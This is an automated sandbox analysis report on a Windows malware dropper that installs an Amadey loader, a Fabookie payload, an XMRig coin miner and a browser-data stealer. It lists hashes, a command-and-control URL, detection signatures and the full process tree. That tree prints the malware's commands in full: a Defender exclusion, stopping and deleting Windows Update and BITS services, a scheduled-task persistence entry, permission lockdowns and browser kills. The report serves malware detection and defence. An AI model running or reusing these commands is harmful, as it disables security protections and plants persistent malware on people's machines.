Analysis
-
max time kernel
155s -
max time network
154s -
platform
windows10-2004_x64 -
resource
win10v2004-20230621-en -
resource tags
arch:x64arch:x86image:win10v2004-20230621-enlocale:en-usos:windows10-2004-x64system -
submitted
26-06-2023 01:01
Static task
static1
Behavioral task
behavioral1
Sample
7d0417ec0e02002489cda78b4fd5d4dc57d4957a00287b4eb24c8cec8c68caad.exe
Resource
win7-20230621-en
General
-
Target
7d0417ec0e02002489cda78b4fd5d4dc57d4957a00287b4eb24c8cec8c68caad.exe
-
Size
4.3MB
-
MD5
12dc82a693eb598eb3aa521ffe54dc77
-
SHA1
f572e6ab69a35c374e8f8fba29f1b2d56972c9b2
-
SHA256
7d0417ec0e02002489cda78b4fd5d4dc57d4957a00287b4eb24c8cec8c68caad
-
SHA512
b893c111eea7dd9ac358f8a664e9d28edb97e467e94b035412d7e3bf03ac27d8ac3d9fc4a89fc60a0481ae01a5e26f13956b0d43288e8f899784be87db87dda2
-
SSDEEP
98304:pZ8hpFxCj6kwJqphl6hBpNjPb2TX2LWMBL/m:pZCC5pP6h5TyD2LWMBT
Malware Config
Extracted
amadey
3.83
5.42.65.80/8bmeVwqx/index.php
Signatures
-
Detect Fabookie payload 2 IoCs
Processes:
resource yara_rule behavioral2/memory/976-174-0x0000000003020000-0x0000000003151000-memory.dmp family_fabookie behavioral2/memory/976-178-0x0000000003020000-0x0000000003151000-memory.dmp family_fabookie -
Modifies security service 2 TTPs 5 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 12 IoCs
Processes:
XandETC.exeupdater.exedescription pid process target process PID 1796 created 3196 1796 XandETC.exe Explorer.EXE PID 1796 created 3196 1796 XandETC.exe Explorer.EXE PID 1796 created 3196 1796 XandETC.exe Explorer.EXE PID 1796 created 3196 1796 XandETC.exe Explorer.EXE PID 1796 created 3196 1796 XandETC.exe Explorer.EXE PID 704 created 3196 704 updater.exe Explorer.EXE PID 704 created 3196 704 updater.exe Explorer.EXE PID 704 created 3196 704 updater.exe Explorer.EXE PID 704 created 3196 704 updater.exe Explorer.EXE PID 704 created 3196 704 updater.exe Explorer.EXE PID 704 created 3196 704 updater.exe Explorer.EXE PID 704 created 3196 704 updater.exe Explorer.EXE -
XMRig Miner payload 6 IoCs
Processes:
resource yara_rule behavioral2/memory/4296-302-0x00007FF784410000-0x00007FF784C04000-memory.dmp xmrig behavioral2/memory/4296-305-0x00007FF784410000-0x00007FF784C04000-memory.dmp xmrig behavioral2/memory/4296-307-0x00007FF784410000-0x00007FF784C04000-memory.dmp xmrig behavioral2/memory/4296-310-0x00007FF784410000-0x00007FF784C04000-memory.dmp xmrig behavioral2/memory/4296-313-0x00007FF784410000-0x00007FF784C04000-memory.dmp xmrig behavioral2/memory/4296-315-0x00007FF784410000-0x00007FF784C04000-memory.dmp xmrig -
Stops running service(s) 3 TTPs
-
Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
oldplayer.exeoneetx.exe7d0417ec0e02002489cda78b4fd5d4dc57d4957a00287b4eb24c8cec8c68caad.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2890635272-812199704-3564780063-1000\Control Panel\International\Geo\Nation oldplayer.exe Key value queried \REGISTRY\USER\S-1-5-21-2890635272-812199704-3564780063-1000\Control Panel\International\Geo\Nation oneetx.exe Key value queried \REGISTRY\USER\S-1-5-21-2890635272-812199704-3564780063-1000\Control Panel\International\Geo\Nation 7d0417ec0e02002489cda78b4fd5d4dc57d4957a00287b4eb24c8cec8c68caad.exe -
Executes dropped EXE 7 IoCs
Processes:
aafg31.exeoldplayer.exeXandETC.exeoneetx.exeoneetx.exeupdater.exeoneetx.exepid process 976 aafg31.exe 4968 oldplayer.exe 1796 XandETC.exe 408 oneetx.exe 2632 oneetx.exe 704 updater.exe 2664 oneetx.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule behavioral2/memory/4296-302-0x00007FF784410000-0x00007FF784C04000-memory.dmp upx behavioral2/memory/4296-305-0x00007FF784410000-0x00007FF784C04000-memory.dmp upx behavioral2/memory/4296-307-0x00007FF784410000-0x00007FF784C04000-memory.dmp upx behavioral2/memory/4296-310-0x00007FF784410000-0x00007FF784C04000-memory.dmp upx behavioral2/memory/4296-313-0x00007FF784410000-0x00007FF784C04000-memory.dmp upx behavioral2/memory/4296-315-0x00007FF784410000-0x00007FF784C04000-memory.dmp upx -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Drops file in System32 directory 3 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 704 set thread context of 2624 704 updater.exe conhost.exe PID 704 set thread context of 4296 704 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
updater.execmd.execmd.exeXandETC.exedescription ioc process File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Notepad\Chrome\updater.exe XandETC.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 3212 sc.exe 2460 sc.exe 1844 sc.exe 2608 sc.exe 232 sc.exe 3724 sc.exe 2152 sc.exe 3812 sc.exe 4208 sc.exe 3388 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
-
Kills process with taskkill 2 IoCs
Processes:
taskkill.exetaskkill.exepid process 4712 taskkill.exe 4072 taskkill.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.exepowershell.execonhost.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs conhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs conhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
XandETC.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.execonhost.exepid process 1796 XandETC.exe 1796 XandETC.exe 4248 powershell.exe 4248 powershell.exe 1796 XandETC.exe 1796 XandETC.exe 1796 XandETC.exe 1796 XandETC.exe 1796 XandETC.exe 1796 XandETC.exe 4560 powershell.exe 4560 powershell.exe 1796 XandETC.exe 1796 XandETC.exe 3356 powershell.exe 3356 powershell.exe 704 updater.exe 704 updater.exe 2296 powershell.exe 2296 powershell.exe 704 updater.exe 704 updater.exe 704 updater.exe 704 updater.exe 704 updater.exe 704 updater.exe 4724 powershell.exe 4724 powershell.exe 704 updater.exe 704 updater.exe 704 updater.exe 704 updater.exe 2624 conhost.exe 2624 conhost.exe 704 updater.exe 704 updater.exe 4296 conhost.exe 4296 conhost.exe 4296 conhost.exe 4296 conhost.exe 4296 conhost.exe 4296 conhost.exe 4296 conhost.exe 4296 conhost.exe 4296 conhost.exe 4296 conhost.exe 4296 conhost.exe 4296 conhost.exe 4296 conhost.exe 4296 conhost.exe 4296 conhost.exe 4296 conhost.exe 4296 conhost.exe 4296 conhost.exe 4296 conhost.exe 4296 conhost.exe 4296 conhost.exe 4296 conhost.exe 4296 conhost.exe 4296 conhost.exe 4296 conhost.exe 4296 conhost.exe 4296 conhost.exe 4296 conhost.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 676 -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
taskkill.exetaskkill.exepowershell.exepowercfg.exepowershell.exepowercfg.exepowercfg.exepowercfg.exedescription pid process Token: SeDebugPrivilege 4712 taskkill.exe Token: SeDebugPrivilege 4072 taskkill.exe Token: SeDebugPrivilege 4248 powershell.exe Token: SeShutdownPrivilege 3380 powercfg.exe Token: SeCreatePagefilePrivilege 3380 powercfg.exe Token: SeDebugPrivilege 4560 powershell.exe Token: SeShutdownPrivilege 2232 powercfg.exe Token: SeCreatePagefilePrivilege 2232 powercfg.exe Token: SeShutdownPrivilege 1592 powercfg.exe Token: SeCreatePagefilePrivilege 1592 powercfg.exe Token: SeShutdownPrivilege 4536 powercfg.exe Token: SeCreatePagefilePrivilege 4536 powercfg.exe Token: SeIncreaseQuotaPrivilege 4560 powershell.exe Token: SeSecurityPrivilege 4560 powershell.exe Token: SeTakeOwnershipPrivilege 4560 powershell.exe Token: SeLoadDriverPrivilege 4560 powershell.exe Token: SeSystemProfilePrivilege 4560 powershell.exe Token: SeSystemtimePrivilege 4560 powershell.exe Token: SeProfSingleProcessPrivilege 4560 powershell.exe Token: SeIncBasePriorityPrivilege 4560 powershell.exe Token: SeCreatePagefilePrivilege 4560 powershell.exe Token: SeBackupPrivilege 4560 powershell.exe Token: SeRestorePrivilege 4560 powershell.exe Token: SeShutdownPrivilege 4560 powershell.exe Token: SeDebugPrivilege 4560 powershell.exe Token: SeSystemEnvironmentPrivilege 4560 powershell.exe Token: SeRemoteShutdownPrivilege 4560 powershell.exe Token: SeUndockPrivilege 4560 powershell.exe Token: SeManageVolumePrivilege 4560 powershell.exe Token: 33 4560 powershell.exe Token: 34 4560 powershell.exe Token: 35 4560 powershell.exe Token: 36 4560 powershell.exe Token: SeIncreaseQuotaPrivilege 4560 powershell.exe Token: SeSecurityPrivilege 4560 powershell.exe Token: SeTakeOwnershipPrivilege 4560 powershell.exe Token: SeLoadDriverPrivilege 4560 powershell.exe Token: SeSystemProfilePrivilege 4560 powershell.exe Token: SeSystemtimePrivilege 4560 powershell.exe Token: SeProfSingleProcessPrivilege 4560 powershell.exe Token: SeIncBasePriorityPrivilege 4560 powershell.exe Token: SeCreatePagefilePrivilege 4560 powershell.exe Token: SeBackupPrivilege 4560 powershell.exe Token: SeRestorePrivilege 4560 powershell.exe Token: SeShutdownPrivilege 4560 powershell.exe Token: SeDebugPrivilege 4560 powershell.exe Token: SeSystemEnvironmentPrivilege 4560 powershell.exe Token: SeRemoteShutdownPrivilege 4560 powershell.exe Token: SeUndockPrivilege 4560 powershell.exe Token: SeManageVolumePrivilege 4560 powershell.exe Token: 33 4560 powershell.exe Token: 34 4560 powershell.exe Token: 35 4560 powershell.exe Token: 36 4560 powershell.exe Token: SeIncreaseQuotaPrivilege 4560 powershell.exe Token: SeSecurityPrivilege 4560 powershell.exe Token: SeTakeOwnershipPrivilege 4560 powershell.exe Token: SeLoadDriverPrivilege 4560 powershell.exe Token: SeSystemProfilePrivilege 4560 powershell.exe Token: SeSystemtimePrivilege 4560 powershell.exe Token: SeProfSingleProcessPrivilege 4560 powershell.exe Token: SeIncBasePriorityPrivilege 4560 powershell.exe Token: SeCreatePagefilePrivilege 4560 powershell.exe Token: SeBackupPrivilege 4560 powershell.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
oldplayer.exepid process 4968 oldplayer.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
7d0417ec0e02002489cda78b4fd5d4dc57d4957a00287b4eb24c8cec8c68caad.exeoldplayer.exeoneetx.execmd.exeaafg31.execmd.execmd.exedescription pid process target process PID 1016 wrote to memory of 976 1016 7d0417ec0e02002489cda78b4fd5d4dc57d4957a00287b4eb24c8cec8c68caad.exe aafg31.exe PID 1016 wrote to memory of 976 1016 7d0417ec0e02002489cda78b4fd5d4dc57d4957a00287b4eb24c8cec8c68caad.exe aafg31.exe PID 1016 wrote to memory of 4968 1016 7d0417ec0e02002489cda78b4fd5d4dc57d4957a00287b4eb24c8cec8c68caad.exe oldplayer.exe PID 1016 wrote to memory of 4968 1016 7d0417ec0e02002489cda78b4fd5d4dc57d4957a00287b4eb24c8cec8c68caad.exe oldplayer.exe PID 1016 wrote to memory of 4968 1016 7d0417ec0e02002489cda78b4fd5d4dc57d4957a00287b4eb24c8cec8c68caad.exe oldplayer.exe PID 1016 wrote to memory of 1796 1016 7d0417ec0e02002489cda78b4fd5d4dc57d4957a00287b4eb24c8cec8c68caad.exe XandETC.exe PID 1016 wrote to memory of 1796 1016 7d0417ec0e02002489cda78b4fd5d4dc57d4957a00287b4eb24c8cec8c68caad.exe XandETC.exe PID 4968 wrote to memory of 408 4968 oldplayer.exe oneetx.exe PID 4968 wrote to memory of 408 4968 oldplayer.exe oneetx.exe PID 4968 wrote to memory of 408 4968 oldplayer.exe oneetx.exe PID 408 wrote to memory of 4672 408 oneetx.exe schtasks.exe PID 408 wrote to memory of 4672 408 oneetx.exe schtasks.exe PID 408 wrote to memory of 4672 408 oneetx.exe schtasks.exe PID 408 wrote to memory of 2724 408 oneetx.exe cmd.exe PID 408 wrote to memory of 2724 408 oneetx.exe cmd.exe PID 408 wrote to memory of 2724 408 oneetx.exe cmd.exe PID 2724 wrote to memory of 3636 2724 cmd.exe cmd.exe PID 2724 wrote to memory of 3636 2724 cmd.exe cmd.exe PID 2724 wrote to memory of 3636 2724 cmd.exe cmd.exe PID 2724 wrote to memory of 4588 2724 cmd.exe cacls.exe PID 2724 wrote to memory of 4588 2724 cmd.exe cacls.exe PID 2724 wrote to memory of 4588 2724 cmd.exe cacls.exe PID 2724 wrote to memory of 4624 2724 cmd.exe cacls.exe PID 2724 wrote to memory of 4624 2724 cmd.exe cacls.exe PID 2724 wrote to memory of 4624 2724 cmd.exe cacls.exe PID 2724 wrote to memory of 3660 2724 cmd.exe cmd.exe PID 2724 wrote to memory of 3660 2724 cmd.exe cmd.exe PID 2724 wrote to memory of 3660 2724 cmd.exe cmd.exe PID 2724 wrote to memory of 4432 2724 cmd.exe cacls.exe PID 2724 wrote to memory of 4432 2724 cmd.exe cacls.exe PID 2724 wrote to memory of 4432 2724 cmd.exe cacls.exe PID 2724 wrote to memory of 1812 2724 cmd.exe cacls.exe PID 2724 wrote to memory of 1812 2724 cmd.exe cacls.exe PID 2724 wrote to memory of 1812 2724 cmd.exe cacls.exe PID 976 wrote to memory of 4712 976 aafg31.exe taskkill.exe PID 976 wrote to memory of 4712 976 aafg31.exe taskkill.exe PID 976 wrote to memory of 4072 976 aafg31.exe taskkill.exe PID 976 wrote to memory of 4072 976 aafg31.exe taskkill.exe PID 4612 wrote to memory of 3212 4612 cmd.exe sc.exe PID 4612 wrote to memory of 3212 4612 cmd.exe sc.exe PID 3900 wrote to memory of 3380 3900 cmd.exe powercfg.exe PID 3900 wrote to memory of 3380 3900 cmd.exe powercfg.exe PID 3900 wrote to memory of 2232 3900 cmd.exe powercfg.exe PID 3900 wrote to memory of 2232 3900 cmd.exe powercfg.exe PID 4612 wrote to memory of 2152 4612 cmd.exe sc.exe PID 4612 wrote to memory of 2152 4612 cmd.exe sc.exe PID 4612 wrote to memory of 2460 4612 cmd.exe sc.exe PID 4612 wrote to memory of 2460 4612 cmd.exe sc.exe PID 4612 wrote to memory of 3812 4612 cmd.exe sc.exe PID 4612 wrote to memory of 3812 4612 cmd.exe sc.exe PID 4612 wrote to memory of 1844 4612 cmd.exe sc.exe PID 4612 wrote to memory of 1844 4612 cmd.exe sc.exe PID 3900 wrote to memory of 1592 3900 cmd.exe powercfg.exe PID 3900 wrote to memory of 1592 3900 cmd.exe powercfg.exe PID 3900 wrote to memory of 4536 3900 cmd.exe powercfg.exe PID 3900 wrote to memory of 4536 3900 cmd.exe powercfg.exe PID 4612 wrote to memory of 1792 4612 cmd.exe reg.exe PID 4612 wrote to memory of 1792 4612 cmd.exe reg.exe PID 4612 wrote to memory of 4748 4612 cmd.exe reg.exe PID 4612 wrote to memory of 4748 4612 cmd.exe reg.exe PID 4612 wrote to memory of 3592 4612 cmd.exe reg.exe PID 4612 wrote to memory of 3592 4612 cmd.exe reg.exe PID 4612 wrote to memory of 384 4612 cmd.exe reg.exe PID 4612 wrote to memory of 384 4612 cmd.exe reg.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\7d0417ec0e02002489cda78b4fd5d4dc57d4957a00287b4eb24c8cec8c68caad.exe"C:\Users\Admin\AppData\Local\Temp\7d0417ec0e02002489cda78b4fd5d4dc57d4957a00287b4eb24c8cec8c68caad.exe"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\aafg31.exe"C:\Users\Admin\AppData\Local\Temp\aafg31.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /IM chrome.exe /F4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /IM msedge.exe /F4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\oldplayer.exe"C:\Users\Admin\AppData\Local\Temp\oldplayer.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe"C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe" /F5⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "oneetx.exe" /P "Admin:N"&&CACLS "oneetx.exe" /P "Admin:R" /E&&echo Y|CACLS "..\207aa4515d" /P "Admin:N"&&CACLS "..\207aa4515d" /P "Admin:R" /E&&Exit5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"6⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "oneetx.exe" /P "Admin:N"6⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "oneetx.exe" /P "Admin:R" /E6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"6⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "..\207aa4515d" /P "Admin:N"6⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "..\207aa4515d" /P "Admin:R" /E6⤵
-
C:\Users\Admin\AppData\Local\Temp\XandETC.exe"C:\Users\Admin\AppData\Local\Temp\XandETC.exe"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
